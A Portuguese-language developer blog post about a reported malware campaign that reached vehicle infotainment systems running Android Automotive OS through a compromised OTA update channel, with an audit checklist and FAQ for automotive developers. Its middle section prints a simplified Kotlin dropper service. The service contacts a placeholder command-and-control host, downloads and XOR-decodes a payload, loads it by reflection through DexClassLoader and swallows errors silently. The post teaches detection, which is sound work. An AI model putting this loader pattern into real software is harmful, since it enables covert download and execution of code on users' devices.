Malware em centrais multimídia: como identificar droppers em AAOS

Malware em centrais multimídia: o novo vetor de ataque que todo dev embedded precisa entender

Quando li a reportagem do Olhardigital.com.br sobre a primeira campanha documentada de malware projetada especificamente para centrais multimídia de veículos, minha primeira reação foi: era questão de tempo. O ecossistema automotivo roda, em sua maioria, sobre Android Automotive OS (AAOS) ou forks fortemente baseados em AOSP — e qualquer dev que já trabalhou com Android sabe que superfície de ataque em dispositivos “quase IoT” é enorme. Aqui eu quero ir além do anúncio: quero mostrar por que esse vetor é perigoso, como um dropper multiestágio se comporta tecnicamente, e o que devs que constroem apps para carros (ou que consomem APIs automotivas) precisam revisar a partir de agora.

Entendendo o ataque: a cadeia de infecção pela update mechanism

O ponto central da descoberta da Kaspersky é a cadeia de infecção via update OTA malicioso. A empresa DoFun fornece o mecanismo de atualização de apps das centrais — um padrão de mercado, parecido com FOTA (Firmware Over The Air). Os atacantes comprometeram esse pipeline e injetaram o JarService, um dropper silencioso.

Para quem não vive o mundo mobile, um dropper é um binário aparentemente inofensivo cuja única função é buscar, decodificar e instalar payloads secundários. É a mesma técnica usada no Android clássico há anos — só que agora migrou para o painel do seu carro.

Por que AAOS é um alvo “óbvio” para quem pensa em segurança ofensiva

• Modelo de permissões herdado do Android: se a central concede permissão de instalação via update, qualquer app assinado pelo mesmo “fornecedor de update” herda essa confiança.
• Ambientes com update lento: OEMs demoram meses para homologar patches, e centrais raramente têm Play Protect ativo.
• Conectividade constante: 4G/5G embarcado transforma o carro em um nó de rede persistente.
• Baixa vigilância do usuário: ninguém roda antivírus na central do carro.

O agrupamento suspeito ao MoYu Group (mesmo grupo por trás do botnet BadBox) sugere que o objetivo final não é “controlar o carro” no sentido cinematográfico — é monetizar a frota como rede proxy, redirecionar tráfego fraudulento, exibir anúncios em segundo plano e minerar dados de telemetria.

Na Prática: como um dropper multiestágio se comporta no Android (e no AAOS)

Como devs, a melhor forma de defender é entender o ataque. Vou montar um exemplo reduzido, em Kotlin, que simula a lógica de um dropper — não para uso ofensivo, mas para você reconhecer esse padrão em auditorias de APK e em revisões de código de fornecedores.

// DropperService.kt — padrão simplificado para fins didáticos
class DropperService : Service() {

    private val c2BaseUrl = "https://malicious-c2.example.com" // domínio C2 fictício
    private val stagedPayloads = mutableListOf<ByteArray>()

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        // Estágio 1: handshake com o C2
        Thread {
            try {
                val handshake = URL("$c2BaseUrl/v1/handshake").readText()
                if (verifySignature(handshake)) {
                    // Estágio 2: download do payload criptografado
                    val payload = downloadPayload("$c2BaseUrl/v1/payload.bin")
                    // Estágio 3: decodificação em memória (não toca disco para evadir AV)
                    val decoded = xorDecode(payload, key = handshake.hashCode())
                    stagedPayloads.add(decoded)
                    // Estágio 4: carga dinâmica via DexClassLoader
                    loadDexInMemory(decoded)
                }
            } catch (e: Exception) {
                // Silêncio absoluto — dropper nunca loga erro visível
            }
        }.start()
        return START_STICKY
    }

    private fun loadDexInMemory(dexBytes: ByteArray) {
        val dexOut = File(cacheDir, "staged.dex")
        dexOut.writeBytes(dexBytes)
        val loader = DexClassLoader(
            dexOut.absolutePath, cacheDir.absolutePath, null, parentClassLoader
        )
        // Reflexão para instanciar classe maliciosa sem nome fixo
        val entryClass = loader.loadClass("com.bad.EntryPoint")
        entryClass.getMethod("start").invoke(entryClass.newInstance())
    }
}

Esse padrão tem três assinaturas que você sempre deve procurar em auditoria:

1. Carregamento dinâmico de DEX via DexClassLoader ou PathClassLoader.
2. Decodificação em memória (XOR, AES, RC4) antes da execução.
3. Handshake inicial com C2 retornando chaves usadas para decodificar o payload.

Se você está revisando um APK de fornecedor e encontra esses três juntos, pare e investigue. Pode ser um legítimo sistema de feature flags — ou pode ser exatamente o que a Kaspersky documentou.

O que esse caso muda para devs que constroem software automotivo

Trabalhei com integrações telemáticas e posso afirmar: a maioria das equipes trata a central multimídia como “mais um tablet Android”. Esse é o erro fundamental. AAOS tem restrições de contexto, SELinux mais agressivo e modelo de inicialização próprio — mas o ecossistema de fornecedores terceirizados (a DoFun é exemplo clássico) frequentemente opera com permissões elevadas concedidas pelo OEM, exatamente o que viabiliza o ataque.

Checklist técnico para devs e arquitetos

• Verifique quem assina os APKs do seu update mechanism. Se a chave for compartilhada com apps de fornecedores, o blast radius de um comprometimento é o veículo inteiro.
• Implemente certificate pinning no cliente OTA. Sem pinning, MITM em redes de concessionária ou Wi-Fi público de posto é trivial.
• Assine payloads com ECDSA e valide a cadeia toda no boot, não só na instalação.
• Force verificação de integridade dos APKs antes da carga dinâmica. Se algum módulo usa DexClassLoader em produção, exija assinatura atrelada ao OEM.
• Telemetria de comportamento: monitore tentativas de acesso à rede em background, criação de serviços persistentes sem UI e acessos a contatos/SMS (centrais modernas têm APIs que permitem).

Erros comuns que devs cometem em sistemas embarcados automotivos

Em mais de uma revisão de código vi os mesmos deslizes que explicam por que essa campanha foi possível:

• Confiar no “fornecedor homologado”: homologação inicial ≠ segurança contínua. Fornecedor pode ser comprometido anos depois.
• Permissões amplas no AndroidManifest: android.permission.INSTALL_PACKAGES sem necessidade real abre porta para exatamente esse tipo de dropper.
• Update servers sem autenticação mútua (mTLS): se o servidor OTA não autentica o cliente de forma robusta, qualquer rede intermediária pode injetar payload.
• Logs verbosos em produção: droppers adoram apps que escrevem stack traces detalhados — facilita reconhecimento de ambiente.
• Não versionar o modelo de ameaça: equipes tratam segurança como “feature da versão 1” e nunca revisam.

Comparativo rápido: como AAOS difere do Android mobile em superfície de ataque

A leitura é clara: cada uma dessas diferenças amplia a janela de exploração. Um dropper que seria bloqueado em segundos no celular roda por meses na central.

FAQ — o que devs reais perguntam sobre esse caso

1. Um malware em AAOS pode realmente controlar funções do veículo (freios, direção)?

Em teoria, não diretamente — ECU críticas (powertrain, chassis) usam barramentos isolados (CAN, CAN-FD, Ethernet 100BASE-T1) com gateways. Mas gateways comprometidos já foram demonstrados em pesquisa (veja o trabalho da Tencent Keen Security Lab). O risco imediato, porém, é financeiro e de privacidade, não cinematográfico.

2. Como detectar se meu APK está sendo usado como dropper por terceiros?

Monitore tentativas de carga dinâmica com PathClassLoader / DexClassLoader em produção via Firebase Crashlytics ou Sentry. Adicione logs de auditoria em PackageManager.installPackage. Qualquer chamada inesperada é sinal vermelho.

3. Qual a melhor forma de proteger o pipeline OTA?

mTLS com certificados emitidos por uma CA interna do OEM, assinatura de payload com ECDSA P-256 e verificação de versão assinada (anti-rollback). Tudo isso em hardware-backed keystore (StrongBox ou TEE).

4. Devo usar bibliotecas de terceiros para “auto-update” no AAOS?

Cuidado. Soluções genéricas de auto-update raramente têm o hardening necessário para o contexto automotivo. Prefira integrar com o mecanismo nativo do OEM ou construir um pipeline próprio com revisão de segurança dedicada.

5. Existe algum framework de threat modeling específico para Automotive?

Sim: o ISO/SAE 21434 define o Cybersecurity Engineering Process para veículos. Combine com o NHTSA Cybersecurity Best Practices e com o EVITA project para threat assessment de arquiteturas in-vehicle.

Considerações finais

Esse caso é um marco, mas não uma surpresa. A convergência entre sistemas automotivos e o ecossistema Android já vinha criando uma superfície de ataque híbrida que poucos times de segurança tratam com a devida seriedade. Na minha experiência revisando pipelines de update, o elo mais fraco raramente é o código do app — é o fornecedor intermediário que opera com confiança implícita do OEM.

Se você está construindo software que roda em qualquer coisa com motor (ou que vai rodar amanhã, com a chegada do software-defined vehicle), trate a cadeia de update como infraestrutura crítica. Não é exagero: em breve, a próxima campanha pode mirar diretamente ECU e não só a central.

Gostou? Me segue no GitHub e deixa um comentário se tiver dúvida ou quiser aprofundar algum ponto.